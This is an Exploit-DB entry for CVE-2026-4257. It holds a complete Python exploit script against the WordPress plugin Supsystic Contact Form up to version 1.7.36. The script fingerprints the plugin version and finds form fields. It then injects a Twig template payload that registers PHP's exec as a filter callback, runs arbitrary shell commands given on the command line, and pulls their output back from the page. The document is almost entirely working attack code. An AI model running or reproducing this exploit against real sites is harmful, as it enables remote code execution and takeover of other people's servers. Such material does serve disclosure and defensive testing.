WordPress Plugin Supsystic Contact Form 1.7.36 - SSTI

EDB-ID:

52564




Platform:

Multiple

Date:

2026-05-14


# Exploit Title: WordPress Plugin Supsystic Contact Form 1.7.36 - SSTI
# Date: 3/30/2026
# Exploit Author: bootstrapbool
# Vendor Homepage: https://supsystic.com/plugins/contact-form-plugin/
# Software Link: https://wordpress.org/plugins/contact-form-by-supsystic/
# Version: <= 1.7.36
# Tested on: Ubuntu 24 and Windows 10
# CVE : CVE-2026-4257


import argparse
import base64
import re
import requests

class status:
    OKGREEN = "\033[32m"
    WARNING = "\033[33m"
    FAIL = "\033[31m"
    ENDC = "\033[0m"
    NOCOLOR = False
    VERBOSE = False

    @classmethod
    def print(cls, message: str, status: str = None):

        if cls.NOCOLOR:
            print(message)
            return

        match status:
            case "FAIL":
                print(f"{cls.FAIL}{message}{cls.ENDC}")
            case "WARNING":
                print(f"{cls.WARNING}{message}{cls.ENDC}")
            case "SUCCESS":
                print(f"{cls.OKGREEN}{message}{cls.ENDC}")
            case _:
                print(message)

    @classmethod
    def vprint(cls, message: str, status: str = None):
        if cls.VERBOSE:
            cls.print(message, status)

def get_page(url: str) -> str:

    try:
        res = requests.get(url)
        res.raise_for_status()
    except requests.excpetions.RequestException as e:
        status.print(f"Request to {url} failed with {res.status_code}")
        exit(1)

    if res.status_code != 200:
        status.print(f"Got {res.status_code} for request to: {url}", "WARNING")

    return res.text

def get_version(body: str) -> str | None:
    pattern = r'suptablesui.min.css\?ver=([0-9\.]+)'

    match = re.search(pattern, body)

    if match:
        return match.group(1)

def is_vulnerable(version: str) -> bool:

    try:
        major, minor, patch = map(int, version.split("."))
        return (major, minor, patch) <= (1, 7, 36)
    except:
        status.vprint(f"Failed to parse version.", "WARNING")

def detect_version(body: str):
    version = get_version(body)

    vulnerable = is_vulnerable(version)
    if vulnerable:
        status.vprint(f"Detected version {version} is vulnerable.", "SUCCESS")
    elif vulnerable != None:
        status.vprint(
            f"Detected version {version} is not vulnerable.",
            "WARNING")

def detect_fields(body: str) -> list[str] | None:
    """Automatically attempt to get Contact Form fields to use for SSTI"""

    pattern = r'data-name="([^"]+)"'

    field_names = list(set(re.findall(pattern, body)))

    if field_names:
        status.print(f"Detected fields: {field_names}", "SUCCESS")
        return field_names

def handle_field(body: str, field: str | None) -> str:

    if field:
        return field

    fields = detect_fields(body)

    if fields is not None:
        status.vprint(f"Using automatically detected field: {fields[0]}")

        return fields[0]

    status.print("Failed to detect fields.", "FAIL")
    exit(1)

def get_output(field: str, body: str) -> str | None:

    pattern = rf'name="fields\[{re.escape(field)}\]"\s+value="([^"]+)"'
    match = re.search(pattern, body)

    if match:
        return match.group(1)

def exploit(url: str, payload: str, field: str) -> str | None:

    utf8_var = "{%set a%}UTF-8{%endset%}"
    base64_var = "{%set b%}BASE64{%endset%}"

    twig_payload = "{%set p%}" +  base64.urlsafe_b64encode(payload.encode('utf-8')).decode('utf-8') + "{%endset%}"

    # The () ensures the variables are not treated as string literals
    twig_payload_decode = "{%set p = p|convert_encoding((a), (b))%}"

    register_callback = "{%set e%}exec{%endset%}{{_self.env.registerUndefinedFilterCallback(e|lower)}}"

    exec_filter = "{{_self.env.getFilter(p)}}"

    ssti_payload = utf8_var + base64_var + twig_payload + twig_payload_decode + register_callback + exec_filter
    status.vprint(f"Payload: {payload}")

    params = {
        "cfsPreFill": 1,
        field: ssti_payload}

    try:
        res = requests.get(url, params)
        res.raise_for_status()
    except requests.excpetions.RequestException as e:
        status.print(f"Request to {url} failed with {res.status_code}")
        exit(1)

    if res.status_code != 200:
        status.print(f"Got {res.status_code} for request to: {url}", "WARNING")

    return get_output(field, res.text)

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "--field",
        type = str,
        help = ("Valid field part of the Contact Form. The defaults are "
            + "first_name, last_name, subject, message, and email. Though it's "
            + "possible for none of these fields to appear. Not all field types"
            + "work. The tested field types that are confirmed to work are"
            + "Text, Textarea, Number, Email, Time, and URL. Buttons do not "
            + "work."))
    parser.add_argument(
        "--no-color",
        action = "store_true",
        help = "If you dont want pretty colors in your output.")
    parser.add_argument(
        "--verbose",
        "-v",
        action = "store_true")
    parser.add_argument(
        "url",
        type = str,
        help = ("Full URL to page with vulnerable Contact Form component. " \
            + "Ex: http://localhost:4444/sample.php"))
    parser.add_argument(
        "payload",
        type = str,
        default = None,
        help = ("Shell commands to be executed."))

    args = parser.parse_args()

    status.NOCOLOR = args.no_color
    status.VERBOSE = args.verbose

    body = get_page(args.url)

    detect_version(body)
    field = handle_field(body, args.field)

    output = exploit(args.url, args.payload, field)

    if output:
        if output.lower() == field.lower():
            status.print(
                "Output is same as field. Maybe try a different field?",
                "WARNING")
        status.print(output)
    else:
        status.print(
            f"Failed to extract output with field '{field}'",
            "FAIL")

if __name__ == "__main__":
    main()